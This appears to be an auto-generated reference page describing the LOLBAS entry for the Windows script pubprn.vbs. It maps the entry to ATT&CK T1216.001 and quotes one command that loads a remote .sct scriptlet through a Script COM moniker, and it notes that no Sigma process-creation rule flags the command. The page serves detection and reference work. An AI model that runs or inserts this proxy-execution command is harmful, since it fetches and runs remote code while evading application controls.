Identifier / Programs / Windows
pubprn.vbs
LOLBAS Execute 1 ATT&CK technique 1 documented command
How pubprn.vbs is abused
Execute T1216.001 System Script Proxy Execution: PubPrn
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for pubprn.vbs.
1 documented command
Execute T1216.001 System Script Proxy Execution: PubPrn User privileges
Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection
pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}IdentifyThe command the identifier reads trips no Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for pubprn.vbs, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for pubprn.vbs. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.